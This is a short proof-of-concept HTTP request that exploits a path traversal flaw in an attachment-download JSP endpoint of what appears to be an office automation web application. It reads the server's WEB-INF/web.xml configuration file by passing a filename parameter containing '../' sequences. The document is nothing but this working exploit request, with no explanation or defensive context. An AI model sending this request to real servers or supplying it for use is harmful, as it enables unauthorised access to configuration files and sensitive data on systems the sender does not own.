PoC
GET /jsp/oa/app/webservice/tooneAssistant/tooneAssistantAttachement.jsp?filename=./../../../../../WEB-INF/web.xml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537
Accept-Encoding: gzip
Connection: close